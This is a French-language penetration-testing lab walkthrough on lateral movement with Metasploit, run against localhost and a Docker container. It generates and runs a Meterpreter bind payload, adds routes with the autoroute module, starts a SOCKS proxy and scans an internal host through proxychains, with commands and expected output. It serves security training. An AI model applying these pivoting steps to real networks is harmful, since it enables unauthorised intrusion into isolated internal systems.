Autoroutage Metasploit

CybersécuritéBeginner
Pratiquer maintenant

Introduction

Le mouvement latéral est une phase critique des tests d'intrusion, où un attaquant utilise un système compromis pour accéder à d'autres hôtes sur le même réseau interne. Souvent, ces réseaux internes sont isolés et ne peuvent pas être atteints directement depuis l'extérieur.

Le saut conceptuel important est que la compromission ne se limite pas au premier hôte. Le premier hôte est souvent crucial en raison des réseaux, des routes et des relations de confiance qu'il permet d'atteindre ensuite.

Dans ce laboratoire, vous apprendrez à effectuer des mouvements latéraux en utilisant le framework Metasploit. Vous simulerez l'obtention d'un point d'ancrage initial sur un hôte multi-homé, utiliserez la fonctionnalité Autoroute de Metasploit pour pivoter via votre session Meterpreter, et configurerez un proxy SOCKS pour permettre à des outils externes d'interagir avec le réseau interne masqué.

Identifier les sous-réseaux internes (arp/ipconfig)

Dans cette étape, nous simulerons l'obtention d'un point d'ancrage initial sur un serveur compromis. Pour ce faire, nous générerons une charge utile locale, l'exécuterons et intercepterons la connexion à l'aide de Metasploit pour établir une session Meterpreter. Une fois connecté, nous inspecterons les interfaces réseau pour identifier les sous-réseaux internes isolés.

Tout d'abord, assurez-vous d'être dans votre répertoire de projet et utilisez msfvenom pour générer une charge utile exécutable Linux. Cette charge utile ouvrira un port d'écoute sur la machine cible (qui, dans notre simulation, est la machine locale).

cd ~/project
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o payload.bin

Si c'est la première fois que vous utilisez Metasploit dans l'environnement de laboratoire actuel, vous pourriez voir une invite de configuration initiale avant que msfvenom ne génère la charge utile. Lorsqu'on vous demande si vous souhaitez configurer une nouvelle base de données, répondez yes et attendez la fin de la configuration.

Ensuite, rendez la charge utile exécutable et lancez-la en arrière-plan.

chmod +x payload.bin
./payload.bin &

Maintenant, démarrez la console Metasploit silencieusement (sans la bannière de démarrage) en utilisant l'indicateur -q.

msfconsole -q

À l'intérieur de la console Metasploit, configurez le multi-handler pour vous connecter à la charge utile que vous venez d'exécuter.

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit

Vous devriez voir une sortie indiquant qu'une session Meterpreter a été ouverte.

[*] Started bind tcp handler against 127.0.0.1:4444
[*] Sending stage (3045380 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:38475 -> 127.0.0.1:4444)

Avec la session Meterpreter active, vous pouvez maintenant explorer la configuration réseau de l'hôte compromis. Utilisez la commande ipconfig pour lister toutes les interfaces réseau.

L'énumération des interfaces et des routes est l'équivalent réseau de l'énumération des privilèges locaux. Vous devez savoir ce que l'hôte peut atteindre avant de pouvoir l'utiliser comme pivot.

meterpreter > ipconfig

Parcourez la sortie à la recherche de différents sous-réseaux. Dans cet environnement, vous verrez généralement le réseau principal de la VM sur eth0 et un sous-réseau de pont Docker tel que 172.17.0.0/16 sur docker0. Ce sont les routes que Meterpreter peut souvent découvrir et utiliser pour pivoter automatiquement. Vous pouvez également vérifier le cache ARP pour voir si l'hôte a communiqué avec des appareils à proximité.

meterpreter > arp

Gardez cette session Meterpreter ouverte, car nous l'utiliserons à l'étape suivante pour configurer notre routage.

Ajouter un Autoroute via Meterpreter

Dans cette étape, nous configurerons Metasploit pour router le trafic via notre session Meterpreter active. Dans cet environnement de laboratoire, le module autoroute peut inspecter la table de routage de l'hôte compromis et ajouter automatiquement les sous-réseaux qu'il découvre. Ce processus est appelé pivotement, et il nous permet d'attaquer des réseaux accessibles depuis l'hôte compromis.

Autoroute est précieux car il rend le framework conscient des sessions. Une fois les routes établies, Metasploit peut automatiquement choisir l'hôte compromis comme chemin vers ces sous-réseaux cachés.

Tout d'abord, mettez votre session Meterpreter actuelle en arrière-plan afin de pouvoir revenir à l'invite principale de Metasploit.

meterpreter > background

Vous verrez un message confirmant que la session 1 a été mise en arrière-plan. Maintenant, chargez le module de post-exploitation autoroute.

msf6 exploit(multi/handler) > use post/multi/manage/autoroute

Configurez le module en spécifiant l'ID de session via lequel vous souhaitez router le trafic, puis exécutez-le. Dans cet environnement, le module recherchera la table de routage de l'hôte et ajoutera automatiquement les sous-réseaux trouvés.

msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > run

Vous devriez voir une sortie indiquant qu'une ou plusieurs routes ont été ajoutées à partir de la table de routage de l'hôte. Un résultat courant dans cet environnement ressemble à ceci :

[*] Running module against 127.0.0.1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.16.50.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 172.17.0.0/255.255.0.0 from host's routing table.
[*] Post module execution completed

Pour vérifier que la route a été correctement enregistrée dans Metasploit, vous pouvez afficher la table de routage active.

msf6 post(multi/manage/autoroute) > route print

La sortie affichera les sous-réseaux qui ont été mappés à la Session 1. Tout module Metasploit exécuté contre une adresse IP dans l'une de ces plages sera désormais automatiquement tunnelisé via l'hôte compromis.

Configurer un proxy SOCKS dans Metasploit

Bien que la fonctionnalité autoroute soit excellente pour les modules intégrés de Metasploit, elle ne route pas automatiquement le trafic pour les outils de ligne de commande externes (comme curl ou nmap). Pour y parvenir, nous devons configurer un serveur proxy SOCKS au sein de Metasploit.

Dans cette étape, nous lancerons un proxy SOCKS et configurerons l'outil proxychains pour l'utiliser.

Toujours dans votre console Metasploit, chargez le module auxiliaire de proxy SOCKS.

msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy

Configurez le proxy pour qu'il écoute sur votre adresse de bouclage locale (127.0.0.1) sur le port 1080. Nous utiliserons la version SOCKS 4a.

msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a

Exécutez le serveur proxy en tant que tâche d'arrière-plan en utilisant l'indicateur -j.

msf6 auxiliary(server/socks_proxy) > run -j

Vous verrez un message confirmant que le proxy SOCKS s'exécute en arrière-plan.

[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server

Laissez la console Metasploit ouverte. Ouvrez un nouvel onglet de terminal dans votre environnement LabEx pour configurer proxychains.

Dans le nouveau terminal, ouvrez le fichier de configuration de proxychains à l'aide de l'éditeur de texte nano avec les privilèges sudo.

sudo nano /etc/proxychains4.conf

Faites défiler jusqu'au bas du fichier. Vous trouverez une section [ProxyList]. Par défaut, elle peut contenir une entrée comme socks4 127.0.0.1 9050. Modifiez cette ligne (ou ajoutez-en une nouvelle) pour correspondre au port que nous avons configuré dans Metasploit :

socks4  127.0.0.1 1080

Enregistrez le fichier en appuyant sur Ctrl+O, appuyez sur Entrée pour confirmer, puis quittez nano en appuyant sur Ctrl+X.

Scanner le réseau interne via le pivot

Dans cette dernière étape, nous utiliserons à la fois l'autoroute Metasploit et le proxy SOCKS pour interagir avec le réseau de pont Docker. Docker peut attribuer une adresse IP légèrement différente à chaque démarrage du conteneur, c'est pourquoi la configuration a enregistré l'adresse IP cible réelle dans ~/project/internal_target_ip.txt.

Dans votre second terminal, vous pouvez confirmer l'adresse IP cible à tout moment avec :

cat ~/project/internal_target_ip.txt

Tout d'abord, utilisons un module Metasploit intégré pour scanner la cible. Revenez à votre premier onglet de terminal où Metasploit est en cours d'exécution.

Chargez le module de scanner de ports TCP et configurez-le pour scanner le port 80 sur la cible interne.

msf6 auxiliary(server/socks_proxy) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS <target-ip-from-file>
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 80
msf6 auxiliary(scanner/portscan/tcp) > run

Parce que nous avons configuré l'autoroute à l'étape 2, Metasploit sait qu'il doit envoyer ce scan via la Session 1. Vous devriez voir une sortie indiquant que le port 80 est ouvert.

[+] 172.17.0.2:           - 172.17.0.2:80 - TCP OPEN
[*] 172.17.0.2:           - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Maintenant, testons notre proxy SOCKS. Basculez vers votre second onglet de terminal.

Nous utiliserons la commande curl pour récupérer la page web de la cible interne. En ajoutant proxychains devant notre commande, le trafic est forcé à travers le proxy SOCKS (qui le route via Metasploit, et finalement via notre session Meterpreter).

proxychains curl -s http://$(cat ~/project/internal_target_ip.txt) | grep title

Vous devriez voir les journaux de connexion de proxychains suivis du titre HTML de la page web Nginx par défaut hébergée sur la cible interne.

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:80  ...  OK
<title>Welcome to nginx!</title>

Félicitations ! Vous avez réussi à pivoter via un hôte compromis pour interagir avec un réseau interne isolé en utilisant à la fois des modules Metasploit internes et des outils externes.

Résumé

Dans ce laboratoire, vous avez exploré les puissantes capacités de mouvement latéral du framework Metasploit. Vous avez commencé par générer une charge utile et établir une session Meterpreter pour simuler un hôte compromis. Vous avez ensuite identifié un sous-réseau interne isolé et utilisé le module autoroute de Metasploit pour diriger le trafic via votre session. Enfin, vous avez configuré un proxy SOCKS et utilisé proxychains pour tunneliser des outils de ligne de commande externes vers le réseau interne. Ces techniques sont fondamentales pour naviguer dans des environnements réseau complexes lors de missions de test d'intrusion.